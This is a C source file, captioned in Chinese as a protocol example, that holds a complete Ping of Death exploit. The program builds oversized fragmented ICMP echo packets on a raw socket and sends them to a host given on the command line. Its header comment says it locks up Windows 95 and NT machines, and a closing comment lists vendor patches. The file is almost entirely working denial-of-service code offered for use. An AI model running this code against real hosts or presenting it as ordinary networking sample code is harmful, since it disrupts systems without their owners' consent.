ping4.c

一些协议的c语言的例子

/*
    The  following  program  can  be  used  to plague your Win system.
    It's a  variation on  the large  ping bug  found some  months ago.
    Does not blue  screen, instead locks  up Win95 and  WinNT machines
    hard.  This has been brought to public by Joba DoVoe.
*/

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>

    /*
     * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
     * This is probably only Linux.
     */
    #ifdef REALLY_RAW
    #define FIX(x)  htons(x)
    #else
    #define FIX(x)  (x)
    #endif

    int
    main(int argc, char **argv)
    {
            int s;
            char buf[1500];
            struct ip *ip = (struct ip *)buf;
            struct icmp *icmp = (struct icmp *)(ip + 1);
            struct hostent *hp;
            struct sockaddr_in dst;
            int offset;
            int on = 1;

            bzero(buf, sizeof buf);

            if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
                    perror("socket");
                    exit(1);
            }
            if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                    perror("IP_HDRINCL");
                    exit(1);
            }
            if (argc != 2) {
                    fprintf(stderr, "usage: %s hostname\n", argv[0]);
                    exit(1);
            }
            if ((hp = gethostbyname(argv[1])) == NULL) {
                    if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                            fprintf(stderr, "%s: unknown host\n", argv[1]);
                    }
            } else {
                    bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
            }
            printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
            ip->ip_v = 4;
            ip->ip_hl = sizeof *ip >> 2;
            ip->ip_tos = 0;
            ip->ip_len = FIX(sizeof buf);
            ip->ip_id = htons(4321);
            ip->ip_off = FIX(0);
            ip->ip_ttl = 255;
            ip->ip_p = 1;
            ip->ip_sum = 0;                 /* kernel fills in */
            ip->ip_src.s_addr = 0;          /* kernel fills in */

            dst.sin_addr = ip->ip_dst;
            dst.sin_family = AF_INET;

            icmp->icmp_type = ICMP_ECHO;
            icmp->icmp_code = 0;
            icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
                    /* the checksum of all 0's is easy to compute */

            for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof
    *ip)) {
                    ip->ip_off = FIX(offset >> 3);
                    if (offset < 65120)
                            ip->ip_off |= FIX(IP_MF);
                    else
                            ip->ip_len = FIX(418);  /* make total 65538 */
                    if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                            sizeof dst) < 0) {
                            fprintf(stderr, "offset %d: ", offset);
                            perror("sendto");
                    }
                    if (offset == 0) {
                            icmp->icmp_type = 0;
                            icmp->icmp_code = 0;
                            icmp->icmp_cksum = 0;
                    }
            }
    }
/*
    This is simply
        http://www.sophist.demon.co.uk/ping/ping.c
    or (for the Linux port)
        http://www.sophist.demon.co.uk/ping/ping-linux.c

    Stopping the Ping of Death is not so hard, just install the latest
    Service  Packs  or  updates,  depending  on what Windows operating
    system you're running.
        Windows NT 4.0
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/

        Windows NT 3.51
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt351/

        Windows 95
        http://www.microsoft.com/windows/common/contentW95UGA.htm
*/